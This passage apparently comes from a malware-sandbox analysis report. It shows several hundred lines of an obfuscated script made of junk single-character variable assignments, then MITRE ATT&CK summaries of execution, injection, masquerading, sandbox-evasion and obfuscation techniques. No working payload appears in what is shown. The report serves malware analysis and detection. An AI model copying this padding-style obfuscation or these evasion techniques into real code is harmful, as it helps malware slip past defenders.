473	kftbhyp = "O";
474	kftbhyp = "A";
475	kftbhyp = "q";
476	kftbhyp = "j";
477	kftbhyp = "K";
478	kftbhyp = "x";
479	kftbhyp = "R";
480	kftbhyp = "b";
481	kftbhyp = "C";
482	kftbhyp = "z";
483	kftbhyp = "n";
484	kftbhyp = "h";
485	kftbhyp = "D";
486	kftbhyp = "t";
487	kftbhyp = "O";
488	kftbhyp = "D";
489	kftbhyp = "A";
490	kftbhyp = "D";
491	kftbhyp = "F";
492	kftbhyp = "G";
493	kftbhyp = "I";
494	kftbhyp = "H";
495	kftbhyp = "i";
496	kftbhyp = "b";
497	kftbhyp = "f";
498	kftbhyp = "b";
499	kftbhyp = "d";
500	kftbhyp = "f";
501	kftbhyp = "R";
502	kftbhyp = "H";
503	kftbhyp = "y";
504	kftbhyp = "X";
505	kftbhyp = "d";
506	kftbhyp = "C";
507	kftbhyp = "a";
508	kftbhyp = "H";
509	kftbhyp = "R";
510	kftbhyp = "L";
511	kftbhyp = "e";
512	beqqzujaw = "b";
513	beqqzujaw = "e";
514	beqqzujaw = "K";
515	beqqzujaw = "h";
516	beqqzujaw = "q";
517	hsuapnfc = "Q";
518	hsuapnfc = "x";
519	hsuapnfc = "Q";
520	hsuapnfc = "C";
521	hsuapnfc = "U";
522	hsuapnfc = "t";
523	hsuapnfc = "q";
524	hsuapnfc = "n";
525	hsuapnfc = "U";
526	hsuapnfc = "O";
527	hsuapnfc = "X";
528	hsuapnfc = "O";
529	hsuapnfc = "P";
530	hsuapnfc = "v";
531	hsuapnfc = "F";
532	hsuapnfc = "m";
533	hsuapnfc = "n";
534	hsuapnfc = "a";
535	hsuapnfc = "Q";
536	hsuapnfc = "v";
537	hsuapnfc = "h";
538	hsuapnfc = "O";
539	hsuapnfc = "V";
540	hsuapnfc = "V";
541	hsuapnfc = "X";
542	hsuapnfc = "x";
543	hsuapnfc = "n";
544	hsuapnfc = "I";
545	hsuapnfc = "L";
546	hsuapnfc = "M";
547	hsuapnfc = "w";
548	hsuapnfc = "H";
549	hsuapnfc = "h";
550	hsuapnfc = "j";
551	hsuapnfc = "v";
552	hsuapnfc = "K";
553	hsuapnfc = "W";
554	gffqtupoy = "M";
555	gffqtupoy = "i";
556	gffqtupoy = "y";
557	gffqtupoy = "X";
558	gffqtupoy = "f";
559	gffqtupoy = "Y";
560	gffqtupoy = "s";
561	gffqtupoy = "z";
562	gffqtupoy = "V";
563	gffqtupoy = "B";
564	gffqtupoy = "S";
565	gffqtupoy = "d";
566	gffqtupoy = "x";
567	gffqtupoy = "j";
568	gffqtupoy = "L";
569	gffqtupoy = "v";
570	gffqtupoy = "G";
571	gffqtupoy = "R";
572	gffqtupoy = "F";
573	gffqtupoy = "Z";
574	gffqtupoy = "i";
575	gffqtupoy = "N";
576	gffqtupoy = "I";
577	gffqtupoy = "H";
578	gffqtupoy = "Y";
579	gffqtupoy = "l";
580	gffqtupoy = "j";
581	gffqtupoy = "r";
582	gffqtupoy = "1";
583	xswdofg = "d";
584	xswdofg = "o";
585	xswdofg = "A";
586	xswdofg = "T";
587	xswdofg = "I";
588	xswdofg = "h";
589	xswdofg = "M";
590	xswdofg = "A";
591	xswdofg = "G";
592	xswdofg = "j";
593	xswdofg = "d";
594	xswdofg = "J";
595	xswdofg = "c";
596	xswdofg = "o";
597	xswdofg = "T";
598	xswdofg = "S";
599	xswdofg = "n";
600	xswdofg = "d";
601	xswdofg = "n";
602	xswdofg = "o";
603	xswdofg = "M";
604	xswdofg = "t";
605	xswdofg = "i";
606	xswdofg = "P";
607	xswdofg = "h";
608	xswdofg = "z";
609	xswdofg = "O";
610	xswdofg = "h";
611	xswdofg = "i";
612	evedphdjj = "D";
613	evedphdjj = "C";
614	evedphdjj = "U";
615	yohqtshuz = "D";
616	yohqtshuz = "k";
617	yohqtshuz = "D";
618	yohqtshuz = "o";
619	qhamafjku = "t";
620	qhamafjku = "D";
621	qhamafjku = "W";
622	qhamafjku = "j";
623	qhamafjku = "W";
624	qhamafjku = "q";
625	qhamafjku = "n";
626	qhamafjku = "i";
627	qhamafjku = "Y";
628	qhamafjku = "t";
629	qhamafjku = "_";
630	qvlpmnkzd = "q";
631	qvlpmnkzd = "p";
632	qvlpmnkzd = "T";
633	qvlpmnkzd = "u";
634	qvlpmnkzd = "m";
635	qvlpmnkzd = "a";
636	qvlpmnkzd = "j";
637	qvlpmnkzd = "q";
638	qvlpmnkzd = "I";
639	qvlpmnkzd = "H";
640	qvlpmnkzd = "L";
641	qvlpmnkzd = "g";
642	qvlpmnkzd = "W";
643	qvlpmnkzd = "S";
644	qvlpmnkzd = "L";
645	qvlpmnkzd = "W";
646	qvlpmnkzd = "Z";
647	qvlpmnkzd = "E";
648	qvlpmnkzd = "i";
649	qvlpmnkzd = "f";
650	qvlpmnkzd = "x";
651	qvlpmnkzd = "r";
652	qvlpmnkzd = "S";
653	qvlpmnkzd = "j";
654	qvlpmnkzd = "J";
655	qvlpmnkzd = "v";
656	qvlpmnkzd = "P";
657	qvlpmnkzd = "i";
658	qvlpmnkzd = "G";
659	qvlpmnkzd = "s";
660	qvlpmnkzd = "i";
661	qvlpmnkzd = "p";
662	qvlpmnkzd = "z";
663	qvlpmnkzd = "d";
664	qvlpmnkzd = "G";
665	qvlpmnkzd = "X";
666	qvlpmnkzd = "v";
667	cesglw = "s";
668	cesglw = "x";
669	cesglw = "M";
670	cesglw = "x";
671	cesglw = "j";
672	cesglw = "t";
673	cesglw = "R";
674	cesglw = "E";
675	cesglw = "a";
676	cesglw = "\"";
677	grepmj = "b";
678	grepmj = "e";
679	grepmj = "T";
680	grepmj = "I";
681	grepmj = "Y";
682	grepmj = "O";
683	grepmj = "E";
684	grepmj = "E";
685	grepmj = "Q";
686	grepmj = "p";
687	grepmj = "v";
688	grepmj = "o";
689	grepmj = "F";
690	grepmj = "c";
691	grepmj = "d";
692	grepmj = "K";
693	grepmj = "r";
694	grepmj = "P";
695	grepmj = "D";
696	grepmj = "b";
697	grepmj = "H";
698	grepmj = "M";
699	grepmj = "E";
700	grepmj = "y";
701	grepmj = "X";
702	grepmj = "i";
703	grepmj = "d";
704	grepmj = "o";
705	grepmj = "p";
706	grepmj = "r";
707	grepmj = "U";
708	grepmj = "b";
709	grepmj = "F";
710	grepmj = "R";
711	grepmj = "J";
712	grepmj = "V";
713	grepmj = "J";
714	grepmj = "D";
715	grepmj = "t";
716	grepmj = "z";
717	grepmj = "i";
718	grepmj = "z";
719	grepmj = "L";
720	grepmj = "N";
721	grepmj = "6";
722	npwop = "h";
723	npwop = "C";
724	npwop = "J";
725	npwop = "K";
726	npwop = "q";
727	npwop = "n";
728	npwop = "c";
729	npwop = "K";
730	npwop = "s";
731	npwop = "J";
732	npwop = "E";
733	npwop = "q";
734	npwop = "U";
735	npwop = "S";
736	npwop = "d";
737	npwop = "x";
738	npwop = "x";
739	npwop = "U";
740	npwop = "K";
741	npwop = "k";
742	npwop = "d";
743	npwop = "O";
744	npwop = "B";
745	npwop = "P";
746	npwop = "y";
747	npwop = "V";
748	npwop = "Y";
749	npwop = "Z";
750	npwop = "B";
751	npwop = "T";
752	npwop = "O";
753	ytafi = "L";
754	ytafi = "H";
755	igynbjep = "B";
756	igynbjep = "J";
757	igynbjep = "W";
758	igynbjep = "K";
759	igynbjep = "O";
760	igynbjep = "m";
761	igynbjep = "P";
762	igynbjep = "k";
763	igynbjep = "b";
764	igynbjep = "z";
765	igynbjep = "m";
766	igynbjep = "Q";
767	igynbjep = "M";
768	igynbjep = "r";
769	igynbjep = "y";
770	igynbjep = "M";
771	igynbjep = "w";
772	igynbjep = "u";
773	igynbjep = "e";
774	igynbjep = "f";
775	igynbjep = "C";
776	igynbjep = "G";
777	igynbjep = "K";
778	igynbjep = "h";
779	igynbjep = "Q";
780	igynbjep = "l";
781	igynbjep = "j";
782	igynbjep = "c";
783	igynbjep = "H";
784	igynbjep = "F";
785	igynbjep = "B";
786	igynbjep = "R";
787	wknmwgo = "D";
788	wknmwgo = "U";
789	wknmwgo = "x";
790	wknmwgo = "t";
791	wknmwgo = "G";
792	wknmwgo = "y";
793	wknmwgo = "A";
794	wknmwgo = "I";
795	wknmwgo = "y";
796	wknmwgo = "F";
797	wknmwgo = "h";
798	wknmwgo = "A";
799	wknmwgo = "k";
800	wknmwgo = "b";
801	wknmwgo = "c";
802	wknmwgo = "g";
803	wknmwgo = "X";
804	wknmwgo = "m";
805	wknmwgo = "d";
806	wknmwgo = "E";
807	wknmwgo = "S";
808	wknmwgo = "r";
809	wknmwgo = "W";
810	wknmwgo = "L";
811	ronfs = "w";
812	ronfs = "e";
813	ronfs = "n";
814	ronfs = "f";
815	ronfs = "l";
816	ronfs = "S";
817	ronfs = "Z";
818	ronfs = "W";
819	ronfs = "k";
820	ronfs = "G";
821	ronfs = "Q";
822	ronfs = "G";
823	ronfs = "s";
824	ronfs = "A";
825	ronfs = "g";
826	ronfs = "l";
827	ronfs = "l";
828	ronfs = "d";
829	ronfs = "R";
830	ronfs = "P";
831	ronfs = "A";
832	ronfs = "X";
833	ronfs = "P";
834	ronfs = "F";
835	ronfs = "Y";
836	ronfs = "F";
837	ronfs = "t";
838	ronfs = "T";
839	ronfs = "Y";
840	ronfs = "u";
841	ronfs = "e";
842	ronfs = "G";
843	ronfs = "I";
844	ronfs = "T";
845	ronfs = "B";
846	ronfs = "N";
847	ronfs = "m";
848	humsijr = "M";
849	humsijr = "t";
850	humsijr = "d";
851	humsijr = "G";
852	humsijr = "n";
853	humsijr = "e";
854	humsijr = "D";
855	humsijr = "V";
856	humsijr = "J";
857	humsijr = "s";
858	humsijr = "G";
859	humsijr = "p";
860	humsijr = "e";
861	humsijr = "R";
862	humsijr = "R";
863	humsijr = "s";
864	humsijr = "n";
865	humsijr = "s";
866	humsijr = "b";
867	humsijr = "B";
868	humsijr = "W";
869	humsijr = "U";
870	humsijr = "A";
871	humsijr = "G";
872	humsijr = "K";
873	humsijr = "t";
874	ghpoubmo = "S";
875	ghpoubmo = "N";
876	ghpoubmo = "w";
877	ghpoubmo = "h";
878	sseev = "T";
879	sseev = "R";
880	sseev = "i";
881	sseev = "R";
882	sseev = "D";
883	sseev = "u";
884	sseev = "I";
885	sseev = "M";
886	sseev = "f";
887	sseev = "t";
888	sseev = "W";
889	sseev = "T";
890	sseev = "f";
891	sseev = "f";
892	sseev = "d";
893	sseev = "c";
894	sseev = "c";
895	sseev = "c";
896	sseev = "L";
897	sseev = "R";
898	sseev = "n";
899	sseev = "f";
900	sseev = "c";
901	sseev = "G";
902	sseev = "L";
903	sseev = "Q";
904	sseev = "w";
905	sseev = "p";
906	sseev = "i";
907	sseev = "C";
908	sseev = "U";
909	sseev = "e";
910	sseev = "j";
911	sseev = "J";
912	sseev = "g";
913	sseev = "R";
914	sseev = "U";
915	sseev = "N";
916	sseev = "T";
917	sseev = "y";
918	sseev = "s";
919	sseev = "q";
920	sseev = "Y";
921	sseev = "t";
922	sseev = "u";
923	gmgvjqsyo = "p";
924	gmgvjqsyo = "C";
925	gmgvjqsyo = "A";
926	gmgvjqsyo = "B";
927	gmgvjqsyo = "T";
928	gmgvjqsyo = "T";
929	gmgvjqsyo = "S";
930	gmgvjqsyo = "o";
931	gmgvjqsyo = "N";
932	gmgvjqsyo = "Z";
933	gmgvjqsyo = "p";
934	gmgvjqsyo = "Q";
935	gmgvjqsyo = "Q";
936	gmgvjqsyo = "v";
937	gmgvjqsyo = "f";
938	gmgvjqsyo = "Q";
939	gmgvjqsyo = "Z";
940	gmgvjqsyo = "l";
941	gmgvjqsyo = "C";
942	gmgvjqsyo = "N";
943	gmgvjqsyo = "i";
944	gmgvjqsyo = "n";
945	gmgvjqsyo = "C";
946	gmgvjqsyo = "b";
947	gmgvjqsyo = "o";
948	gmgvjqsyo = "x";
949	gmgvjqsyo = "/";
950	wlzheku = "H";
951	wlzheku = "i";
952	wlzheku = "v";
953	wlzheku = "x";
954	wlzheku = "D";
955	wlzheku = "G";
956	wlzheku = "G";
957	wlzheku = "M";
958	wlzheku = "y";
959	wlzheku = "Y";
960	wlzheku = "X";
961	wlzheku = "N";
962	wlzheku = "s";
963	wlzheku = "v";
964	wlzheku = "K";
965	wlzheku = "s";
966	wlzheku = "u";
967	wlzheku = "n";
968	wlzheku = "b";
969	wlzheku = "u";
970	wlzheku = "A";
971	wlzheku = "P";
972	wlzheku = "o";
973	wlzheku = "3";
974	ccxnjkuia = "L";
975	ccxnjkuia = "Z";
976	ccxnjkuia = "e";
977	ccxnjkuia = "y";
978	ccxnjkuia = "a";
979	ccxnjkuia = "o";
980	ccxnjkuia = "i";
981	ccxnjkuia = "p";
982	ccxnjkuia = "T";
983	ccxnjkuia = "N";
984	ccxnjkuia = "n";
985	gqjdnat = "h";
986	gqjdnat = "Y";
987	gqjdnat = "x";
988	gqjdnat = "F";
989	gqjdnat = "e";
990	gqjdnat = "f";
991	btqjhqv = "a";
992	btqjhqv = "H";
993	btqjhqv = "R";
994	btqjhqv = "l";
995	btqjhqv = "D";
996	btqjhqv = "C";
997	btqjhqv = "R";
998	btqjhqv = "e";
999	btqjhqv = "y";
1000	btqjhqv = "K";
1001	btqjhqv = "J";
1002	btqjhqv = "w";
1003	btqjhqv = "T";
1004	btqjhqv = "B";
1005	btqjhqv = "N";
1006	btqjhqv = "u";
1007	btqjhqv = "n";
1008	btqjhqv = "M";
1009	btqjhqv = "J";
1010	btqjhqv = "o";
1011	btqjhqv = "i";
1012	btqjhqv = "Y";
1013	ehitkq = "O";
1014	ehitkq = "x";
1015	ehitkq = "S";
1016	ehitkq = "g";
1017	ehitkq = "b";
1018	ehitkq = "g";
1019	ehitkq = "U";
1020	ehitkq = "x";
1021	ehitkq = "x";
1022	ehitkq = "m";
1023	ehitkq = "k";
1024	ehitkq = "L";
1025	ehitkq = "s";
1026	ehitkq = "D";
1027	ehitkq = "P";
1028	ehitkq = "Z";
1029	ehitkq = "V";
1030	ehitkq = "s";
1031	ehitkq = "y";
1032	ehitkq = "I";
1033	ehitkq = "o";
1034	ehitkq = "u";
1035	ehitkq = "j";
1036	ehitkq = "f";
1037	ehitkq = "y";
1038	ehitkq = "o";
1039	ehitkq = "Z";
1040	ehitkq = "q";
1041	ehitkq = "P";
1042	ehitkq = "Z";
1043	ehitkq = "f";
1044	ehitkq = "s";
1045	ehitkq = "y";
1046	ehitkq = "r";
1047	ehitkq = "R";
1048	ehitkq = "e";
1049	ehitkq = "W";
1050	ehitkq = "g";
1051	hbsjkha = "l";
1052	hbsjkha = "t";
1053	hbsjkha = "Y";
1054	hbsjkha = "S";
1055	hbsjkha = "t";
1056	hbsjkha = "O";
1057	hbsjkha = "d";
1058	hbsjkha = "d";
1059	hbsjkha = "i";
1060	hbsjkha = "b";
1061	hbsjkha = "t";
1062	hbsjkha = "N";
1063	hbsjkha = "y";
1064	hbsjkha = "v";
1065	hbsjkha = "B";
1066	hbsjkha = "O";
1067	hbsjkha = "W";
1068	hbsjkha = "w";
1069	hbsjkha = "v";
1070	hbsjkha = "O";
1071	hbsjkha = "e";
1072	hbsjkha = "I";
1073	hbsjkha = "x";
1074	hbsjkha = "I";
1075	hbsjkha = "q";
1076	hbsjkha = "t";
1077	hbsjkha = "o";
1078	hbsjkha = "i";
1079	hbsjkha = "c";
1080	hbsjkha = "L";
1081	hbsjkha = "r";
1082	hdrvc = "G";
1083	hdrvc = "x";
1084	hdrvc = "j";
1085	hdrvc = "V";
1086	hdrvc = "B";
1087	hdrvc = "Q";
1088	hdrvc = "G";
1089	hdrvc = "n";
1090	hdrvc = "M";
1091	hdrvc = "Q";
1092	hdrvc = "o";
1093	hdrvc = "p";
1094	hdrvc = "h";
1095	hdrvc = "B";
1096	hdrvc = "l";
1097	hdrvc = "G";
1098	hdrvc = "L";
1099	hdrvc = "l";
1100	hdrvc = "G";
1101	hdrvc = "s";
1102	hdrvc = "I";
1103	efvtdcy = "L";
1104	efvtdcy = "B";
1105	efvtdcy = "C";
1106	efvtdcy = "d";
1107	efvtdcy = "S";
1108	efvtdcy = "d";
1109	efvtdcy = "V";
1110	efvtdcy = "z";
1111	efvtdcy = "O";
1112	efvtdcy = "n";
1113	efvtdcy = "x";
1114	efvtdcy = "l";
1115	efvtdcy = "H";
1116	efvtdcy = "G";
1117	efvtdcy = "r";
1118	efvtdcy = "Y";
1119	efvtdcy = "w";
1120	efvtdcy = "E";
1121	efvtdcy = "q";
1122	efvtdcy = "i";
1123	efvtdcy = "s";
1124	efvtdcy = "l";
1125	efvtdcy = "i";
1126	efvtdcy = "V";
1127	efvtdcy = "b";
1128	efvtdcy = "8";
1129	jirjjmqkp = "f";
1130	jirjjmqkp = "R";
1131	jirjjmqkp = "g";
1132	jirjjmqkp = "Q";
1133	jirjjmqkp = "E";
1134	jirjjmqkp = "q";
1135	jirjjmqkp = "o";
1136	jirjjmqkp = "O";
1137	jirjjmqkp = "t";
1138	jirjjmqkp = "F";
1139	jirjjmqkp = "l";
1140	jirjjmqkp = "M";
1141	jirjjmqkp = "X";
1142	jirjjmqkp = "N";
1143	jirjjmqkp = "s";
1144	jirjjmqkp = "K";
1145	jirjjmqkp = "h";
1146	jirjjmqkp = "T";
1147	jirjjmqkp = "o";
1148	jirjjmqkp = "I";
1149	jirjjmqkp = "l";
1150	jirjjmqkp = "Z";
1151	jirjjmqkp = "n";
1152	jirjjmqkp = "W";
1153	jirjjmqkp = "o";
1154	jirjjmqkp = "V";
1155	jirjjmqkp = "\\";
1156	qfbjxiu = "b";
1157	qfbjxiu = "e";
1158	qfbjxiu = "o";
1159	qfbjxiu = "e";
1160	qfbjxiu = "H";
1161	qfbjxiu = "l";
1162	qfbjxiu = "s";
1163	qfbjxiu = "B";
1164	qfbjxiu = "k";
1165	qfbjxiu = "z";
1166	qfbjxiu = "C";
1167	qfbjxiu = "G";
1168	qfbjxiu = "v";
1169	qfbjxiu = "W";
1170	qfbjxiu = "Q";
1171	qfbjxiu = "g";
1172	qfbjxiu = "a";
1173	qfbjxiu = "t";
1174	qfbjxiu = "V";
1175	qfbjxiu = "j";
1176	qfbjxiu = "k";
1177	qfbjxiu = "g";
1178	qfbjxiu = "P";
1179	qfbjxiu = "E";
1180	qfbjxiu = "E";
1181	rspdghxd = "C";
1182	rspdghxd = "z";
1183	rspdghxd = "z";
1184	rspdghxd = "d";
1185	rspdghxd = "i";
1186	rspdghxd = "u";
1187	rspdghxd = "S";
1188	rspdghxd = "d";
1189	rspdghxd = "s";
1190	rspdghxd = "U";
1191	rspdghxd = "C";
1192	rspdghxd = "s";
1193	ringaq = "d";
1194	ringaq = "X";
1195	ringaq = "V";
1196	ringaq = "Z";
1197	ringaq = "a";
1198	ringaq = "Q";
1199	ringaq = "w";
1200	lrwoqswg = "d";
1201	lrwoqswg = "F";
1202	lrwoqswg = "Y";
1203	lrwoqswg = "R";
1204	lrwoqswg = "C";
1205	lrwoqswg = "l";
1206	lrwoqswg = "e";
1207	lrwoqswg = "c";
1208	lrwoqswg = "a";
1209	lrwoqswg = "B";
1210	lrwoqswg = "z";
1211	lrwoqswg = "H";
1212	lrwoqswg = "W";
1213	lrwoqswg = "S";
1214	lrwoqswg = "z";
1215	lrwoqswg = "t";
1216	lrwoqswg = "B";
1217	lrwoqswg = "c";
1218	lrwoqswg = "t";
1219	lrwoqswg = "G";
1220	lrwoqswg = "y";
1221	lrwoqswg = "I";
1222	lrwoqswg = "2";
1223	tipzz = "s";
1224	tipzz = "B";
1225	tipzz = "G";
1226	tipzz = "A";
1227	tipzz = "H";
1228	tipzz = "k";
1229	tipzz = "Q";
1230	tipzz = "T";
1231	tipzz = "d";
1232	tipzz = "j";
1233	tipzz = "T";
1234	tipzz = "E";
1235	tipzz = "P";
1236	tipzz = "V";
1237	tipzz = "t";
1238	tipzz = "H";
1239	tipzz = "G";
1240	tipzz = "G";
1241	tipzz = "a";
1242	mxfedub = "a";
1243	mxfedub = "V";
1244	mxfedub = "i";
1245	mxfedub = "G";
1246	mxfedub = "E";
1247	mxfedub = "x";
1248	mxfedub = "f";
1249	mxfedub = "b";
1250	mxfedub = "X";
1251	mxfedub = "n";
1252	mxfedub = "v";
1253	mxfedub = "i";
1254	mxfedub = "a";
1255	mxfedub = "r";
1256	mxfedub = "W";
1257	mxfedub = "F";
1258	mxfedub = "u";
1259	mxfedub = "m";
1260	mxfedub = "4";
1261	ewfbwbhw = "J";
1262	ewfbwbhw = "t";
1263	ewfbwbhw = "z";
1264	ewfbwbhw = "n";
1265	ewfbwbhw = "r";
1266	ewfbwbhw = "J";
1267	ewfbwbhw = "L";
1268	ewfbwbhw = "L";
1269	ewfbwbhw = "x";
1270	ewfbwbhw = "W";
1271	ewfbwbhw = "h";
1272	ewfbwbhw = "f";
1273	ewfbwbhw = "Y";
1274	ewfbwbhw = "d";
1275	ewfbwbhw = "b";
1276	ewfbwbhw = "W";
1277	ewfbwbhw = "W";
1278	ewfbwbhw = "S";
1279	ewfbwbhw = "P";
1280	ewfbwbhw = "J";
1281	ewfbwbhw = "x";
1282	ewfbwbhw = "M";
1283	ewfbwbhw = "g";
1284	ewfbwbhw = "l";
1285	ewfbwbhw = "Q";
1286	ewfbwbhw = "a";
1287	ewfbwbhw = "B";
1288	ewfbwbhw = "u";
1289	ewfbwbhw = "t";
1290	ewfbwbhw = "Y";
1291	ewfbwbhw = "K";
1292	ewfbwbhw = "N";
1293	ewfbwbhw = "U";
1294	ewfbwbhw = "Y";
1295	ewfbwbhw = "J";
1296	ewfbwbhw = "P";
1297	xegaiais = "i";
1298	xegaiais = "x";
1299	xegaiais = "n";
1300	xegaiais = "P";
1301	xegaiais = "P";
1302	xegaiais = "n";
1303	xegaiais = "y";
1304	xegaiais = "F";
1305	xegaiais = "x";
1306	xegaiais = "V";
1307	xegaiais = "t";
1308	xegaiais = "w";
1309	xegaiais = "n";
1310	xegaiais = "u";
1311	xegaiais = "y";
1312	xegaiais = "a";
1313	xegaiais = "K";
1314	xegaiais = "P";
1315	xegaiais = "m";
1316	xegaiais = "y";
1317	xegaiais = " ";
1318	ktqbsd = "w";
1319	ktqbsd = "L";
1320	ktqbsd = "h";
1321	ktqbsd = "H";
1322	ktqbsd = "k";
1323	ofcth = "B";
1324	ofcth = "r";
1325	ofcth = "i";
1326	ofcth = "T";
1327	ofcth = "D";
1328	ofcth = "n";
1329	ofcth = "V";
1330	ofcth = "L";
1331	ofcth = "H";
1332	ofcth = "x";
1333	ofcth = "J";
1334	ofcth = "s";
1335	ofcth = "x";
1336	ofcth = "x";
1337	ofcth = "N";
1338	ofcth = "T";
1339	ofcth = "E";
1340	ofcth = "W";
1341	ofcth = "x";
1342	ofcth = "n";
1343	ofcth = "L";
1344	ofcth = "r";
1345	ofcth = "m";
1346	ofcth = "M";
1347	ofcth = "k";
1348	ofcth = "D";
1349	ofcth = "C";
1350	ofcth = "g";
1351	ofcth = "Y";
1352	ofcth = "m";
1353	ofcth = "w";
1354	ofcth = "v";
1355	ofcth = "s";
1356	ofcth = "K";
1357	ofcth = "o";
1358	ofcth = "x";
1359	ofcth = "H";
1360	ofcth = "p";
1361	ofcth = "D";
1362	ofcth = "b";
1363	ofcth = "a";
1364	ofcth = "p";
1365	amqhfvciv = "u";
1366	amqhfvciv = "m";
1367	amqhfvciv = "r";
1368	amqhfvciv = "z";
1369	amqhfvciv = "F";
1370	amqhfvciv = "o";
1371	amqhfvciv = "q";
1372	amqhfvciv = "O";
1373	amqhfvciv = "R";
1374	amqhfvciv = "S";
1375	amqhfvciv = "l";
1376	amqhfvciv = "u";
1377	amqhfvciv = "C";
1378	wrdhwomrd = "-";
1379	rgoawvomm = "z";
1380	rgoawvomm = "E";
1381	rgoawvomm = "v";
1382	rgoawvomm = "R";
1383	rgoawvomm = "x";
1384	rgoawvomm = "W";
1385	rgoawvomm = "G";
1386	rgoawvomm = "f";
1387	rgoawvomm = "I";
1388	rgoawvomm = "X";
1389	rgoawvomm = "p";
1390	rgoawvomm = "b";
1391	rgoawvomm = "v";
1392	rgoawvomm = "p";
1393	rgoawvomm = "g";
1394	rgoawvomm = "N";
1395	rgoawvomm = "W";
1396	rgoawvomm = "o";
1397	rgoawvomm = "D";
1398	rgoawvomm = "Z";
1399	rgoawvomm = "q";
1400	rgoawvomm = "m";
1401	rgoawvomm = "r";
1402	rgoawvomm = "C";
1403	rgoawvomm = "o";
1404	rgoawvomm = "O";
1405	rgoawvomm = "p";
1406	rgoawvomm = "M";
1407	rgoawvomm = "p";
1408	rgoawvomm = "v";
1409	rgoawvomm = "H";
1410	rgoawvomm = "T";
1411	rgoawvomm = "z";
1412	rgoawvomm = "t";
1413	rgoawvomm = "U";
1414	rgoawvomm = "K";
1415	rgoawvomm = "w";
1416	rgoawvomm = ".";
1417	hhojtvxmu ( );	hhojtvxmu() ➔ undefined

Reset < >

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Application Log: Application Log Content, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

